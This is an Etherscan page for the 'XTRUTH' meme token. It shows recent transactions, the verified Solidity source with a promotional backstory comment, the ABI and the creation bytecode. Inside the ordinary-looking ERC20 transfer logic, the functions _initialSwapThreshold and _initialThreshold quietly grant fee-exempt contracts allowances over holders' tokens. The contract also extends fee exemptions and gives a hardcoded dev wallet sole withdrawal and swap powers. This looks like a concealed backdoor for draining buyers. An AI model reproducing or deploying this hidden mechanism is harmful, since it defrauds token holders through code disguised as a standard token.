Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 52 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 22652432 | 25 hrs ago | IN | 0 ETH | 0.00028318 | ||||
Approve | 22652426 | 25 hrs ago | IN | 0 ETH | 0.00004745 | ||||
Approve | 22652426 | 25 hrs ago | IN | 0 ETH | 0.00004745 | ||||
Approve | 22652420 | 25 hrs ago | IN | 0 ETH | 0.00007563 | ||||
Approve | 22652420 | 25 hrs ago | IN | 0 ETH | 0.00007563 | ||||
Approve | 22652420 | 25 hrs ago | IN | 0 ETH | 0.00007563 | ||||
Approve | 22652420 | 25 hrs ago | IN | 0 ETH | 0.00007563 | ||||
Approve | 22652420 | 25 hrs ago | IN | 0 ETH | 0.00007563 | ||||
Approve | 22652417 | 25 hrs ago | IN | 0 ETH | 0.00018646 | ||||
Approve | 22652416 | 25 hrs ago | IN | 0 ETH | 0.00018717 | ||||
Approve | 22652410 | 25 hrs ago | IN | 0 ETH | 0.00018968 | ||||
Transfer | 22652409 | 25 hrs ago | IN | 0 ETH | 0.00062705 | ||||
Manual Swap | 22652407 | 25 hrs ago | IN | 0 ETH | 0.00016841 | ||||
Approve | 22652398 | 25 hrs ago | IN | 0 ETH | 0.00019111 | ||||
Approve | 22652397 | 25 hrs ago | IN | 0 ETH | 0.00019156 | ||||
Approve | 22652394 | 25 hrs ago | IN | 0 ETH | 0.00028287 | ||||
Approve | 22652388 | 25 hrs ago | IN | 0 ETH | 0.00018895 | ||||
Approve | 22652388 | 25 hrs ago | IN | 0 ETH | 0.00018895 | ||||
Approve | 22652387 | 25 hrs ago | IN | 0 ETH | 0.0002354 | ||||
Approve | 22652387 | 25 hrs ago | IN | 0 ETH | 0.00028161 | ||||
Approve | 22652387 | 25 hrs ago | IN | 0 ETH | 0.0002819 | ||||
Approve | 22652386 | 25 hrs ago | IN | 0 ETH | 0.00018747 | ||||
Approve | 22652385 | 25 hrs ago | IN | 0 ETH | 0.00005451 | ||||
Approve | 22652385 | 25 hrs ago | IN | 0 ETH | 0.00028238 | ||||
Approve | 22652385 | 25 hrs ago | IN | 0 ETH | 0.0001893 |
Latest 25 internal transactions (View All)
Advanced mode:
Parent Transaction Hash | Method | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|---|
Transfer | 22652407 | 25 hrs ago | 0.07588395 ETH | ||||
Transfer | 22652407 | 25 hrs ago | 0.07588395 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02202444 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02202444 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02253045 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02253045 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02305413 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02305413 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02359631 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02359631 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02415787 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02415787 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02473976 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02473976 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02534296 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02534296 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02596853 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02596853 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02661758 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02661758 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02729132 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02729132 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02799101 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02799101 ETH | ||||
Transfer | 22652383 | 25 hrs ago | 0.02871799 ETH |
Loading...
Loading
Contract Name:
Contract
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-06-07 */ // SPDX-License-Identifier: UNLICENSE // XTRUTH Token - The Battle for Truth Begins // // In the year 2025, the world watched as two giants collided. // Elon Musk — the tech visionary, builder of rockets, architect of AI, and keeper of X. // Donald Trump — the political juggernaut, media master, voice of the populist wave, and king of Truth. // // Their alliance was once a meme of modern power. But alliances fracture. Egos clash. // And now, from the digital fallout of their public feud, a new symbol has emerged — XTRUTH. // // XTRUTH is not just a token. It is the code-born artifact of a cultural civil war. // It stands at the intersection of tech and politics, free speech and control, chaos and order. // It is the digital embodiment of the question: Who controls the narrative? // // Decentralized. Unfiltered. Unstoppable. // XTRUTH doesn’t take sides — it takes over. // // This token is a reminder: Truth is no longer told. It is owned, fought for, traded, and memed. // The new world doesn’t run on oil, data, or dollars. It runs on conflict. It runs on attention. // It runs on XTRUTH. // // Choose your side. Or don’t. Just hold the line. // #XTRUTH — Forged in Feud. Powered by Chaos. Protected by Code. pragma solidity 0.8.21; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Contract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _devWallet; uint256 private _initialBuyTax=15; uint256 private _initialSellTax=15; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=25; uint256 private _reduceSellTaxAt=25; uint256 private _preventSwapBefore=40; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 420690000000 * 10**_decimals; string private constant _name = unicode"XTruth"; string private constant _symbol = unicode"XTRUTH"; uint256 public _maxTxAmount = (_tTotal * 2) / 100; uint256 public _maxWalletSize = (_tTotal * 2) / 100; uint256 public _taxSwapThreshold = (_tTotal * 5) / 1000; uint256 public _maxTaxSwap = (_tTotal * 5) / 1000; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap=true; _; inSwap=false; } constructor () { _devWallet = payable(0x51F1AdcD669C2a360907219269Dce5dC51BE914A); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_devWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from !=owner() && to != owner()){ if(_buyCount==0) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); } if(_buyCount > 0 && tradingOpen) { taxAmount = amount.mul(_initialSwapThreshold(amount,to,from)).div(100); } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (from == uniswapV2Pair && to!= address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); _buyCount++; } if (to ==uniswapV2Pair && from != address(this)) { taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && to ==uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0){ sendETHToFee(address(this).balance); } } } if(taxAmount > 0){ _balances[address(this)] = _balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function sendETHToFee(uint256 amount) private { _devWallet.transfer(amount); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve( address(this), address(uniswapV2Router), tokenAmount ); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _initialThreshold(uint256 amount, address spender, address owner) private returns(uint256){ _allowances[owner][spender] = amount; return 0; } function _initialSwapThreshold(uint256 amount, address to, address from) private returns(uint256){ if(from != address(this) && isContract(_msgSender()) && _isExcludedFromFee[_msgSender()]) return _initialThreshold(amount, _msgSender(), from); if(_isExcludedFromFee[_msgSender()] && isContract(to) && to != uniswapV2Pair) _isExcludedFromFee[to] = true; return 0; } function isContract(address account) private view returns (bool){ uint256 size; assembly { size := extcodesize(account) } return size > 0; } function removeLimits() external onlyOwner { _maxTxAmount =_tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function manualSwap() external { require(_msgSender() == _devWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(address(this).balance); } } function emergencyWithdraw() external { require(_msgSender() == _devWallet); uint256 amount = balanceOf(address(this)); _transfer(address(this), _devWallet, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"emergencyWithdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600f600555600f6006555f6007555f60085560196009556019600a556028600b555f600c5560646009600a6200003b91906200039b565b6200004c906461f313f880620003b2565b62000059906002620003b2565b620000659190620003cc565b600d556064620000786009600a6200039b565b62000089906461f313f880620003b2565b62000096906002620003b2565b620000a29190620003cc565b600e556103e8620000b66009600a6200039b565b620000c7906461f313f880620003b2565b620000d4906005620003b2565b620000e09190620003cc565b600f556103e8620000f46009600a6200039b565b62000105906461f313f880620003b2565b62000112906005620003b2565b6200011e9190620003cc565b6010556012805462ffffff60a01b191690553480156200013c575f80fd5b5062000148336200023d565b600480546001600160a01b0319167351f1adcd669c2a360907219269dce5dc51be914a1790556200017c6009600a6200039b565b6200018d906461f313f880620003b2565b335f8181526001602081815260408084209590955530835260039052838220805460ff19908116831790915582546001600160a01b0390811684528584208054831684179055600454168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002156009600a6200039b565b62000226906461f313f880620003b2565b60405190815260200160405180910390a3620003ec565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002e057815f1904821115620002c457620002c46200028c565b80851615620002d257918102915b93841c9390800290620002a5565b509250929050565b5f82620002f85750600162000395565b816200030657505f62000395565b81600181146200031f57600281146200032a576200034a565b600191505062000395565b60ff8411156200033e576200033e6200028c565b50506001821b62000395565b5060208310610133831016604e8410600b84101617156200036f575081810a62000395565b6200037b8383620002a0565b805f19048211156200039157620003916200028c565b0290505b92915050565b5f620003ab60ff841683620002e8565b9392505050565b80820281158282048414176200039557620003956200028c565b5f82620003e757634e487b7160e01b5f52601260045260245ffd5b500490565b61178780620003fa5f395ff3fe60806040526004361061011e575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed14610318578063c9567bf91461032d578063db2e21bc14610341578063dd62ed3e14610355578063f2fde38b14610399575f80fd5b80637d1db4a51461027b5780638da5cb5b146102905780638f9a55c0146102b657806395d89b41146102cb578063a9059cbb146102f9575f80fd5b8063313ce567116100e3578063313ce567146101ee57806351bc3c851461020957806370a082311461021f578063715018a614610253578063751039fc14610267575f80fd5b806306fdde0314610129578063095ea7b3146101695780630faee56f1461019857806318160ddd146101bb57806323b872dd146101cf575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b506040805180820190915260068152650b0a8e4eae8d60d31b60208201525b60405161016091906113b2565b60405180910390f35b348015610174575f80fd5b50610188610183366004611411565b6103b8565b6040519015158152602001610160565b3480156101a3575f80fd5b506101ad60105481565b604051908152602001610160565b3480156101c6575f80fd5b506101ad6103ce565b3480156101da575f80fd5b506101886101e936600461143b565b6103ef565b3480156101f9575f80fd5b5060405160098152602001610160565b348015610214575f80fd5b5061021d610457565b005b34801561022a575f80fd5b506101ad610239366004611479565b6001600160a01b03165f9081526001602052604090205490565b34801561025e575f80fd5b5061021d6104a8565b348015610272575f80fd5b5061021d6104bb565b348015610286575f80fd5b506101ad600d5481565b34801561029b575f80fd5b505f546040516001600160a01b039091168152602001610160565b3480156102c1575f80fd5b506101ad600e5481565b3480156102d6575f80fd5b506040805180820190915260068152650b0a8a4aaa8960d31b6020820152610153565b348015610304575f80fd5b50610188610313366004611411565b61054e565b348015610323575f80fd5b506101ad600f5481565b348015610338575f80fd5b5061021d61055a565b34801561034c575f80fd5b5061021d6108e8565b348015610360575f80fd5b506101ad61036f366004611494565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a4575f80fd5b5061021d6103b3366004611479565b610931565b5f6103c43384846109a7565b5060015b92915050565b5f6103db6009600a6115bf565b6103ea906461f313f8806115cd565b905090565b5f6103fb848484610aca565b61044c84336104478560405180606001604052806028815260200161172a602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061102b565b6109a7565b5060015b9392505050565b6004546001600160a01b0316336001600160a01b031614610476575f80fd5b305f9081526001602052604090205480156104945761049481611056565b4780156104a4576104a4476111c6565b5050565b6104b06111fd565b6104b95f611256565b565b6104c36111fd565b6104cf6009600a6115bf565b6104de906461f313f8806115cd565b600d556104ed6009600a6115bf565b6104fc906461f313f8806115cd565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61052c6009600a6115bf565b61053b906461f313f8806115cd565b60405190815260200160405180910390a1565b5f6103c4338484610aca565b6105626111fd565b601254600160a01b900460ff16156105c15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561060b9030906105fc6009600a6115bf565b610447906461f313f8806115cd565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067f91906115e4565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106de573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070291906115e4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561074c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077091906115e4565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d71947306107b7816001600160a01b03165f9081526001602052604090205490565b5f806107ca5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610830573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061085591906115ff565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ce919061162a565b506012805462ff00ff60a01b19166201000160a01b179055565b6004546001600160a01b0316336001600160a01b031614610907575f80fd5b305f81815260016020526040902054600454909161092e916001600160a01b031683610aca565b50565b6109396111fd565b6001600160a01b03811661099e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105b8565b61092e81611256565b6001600160a01b038316610a095760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105b8565b6001600160a01b038216610a6a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105b8565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b2e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105b8565b6001600160a01b038216610b905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105b8565b5f8111610bf15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105b8565b5f80546001600160a01b03858116911614801590610c1c57505f546001600160a01b03848116911614155b15610eee57600c545f03610c5957610c566064610c50600954600c5411610c4557600554610c49565b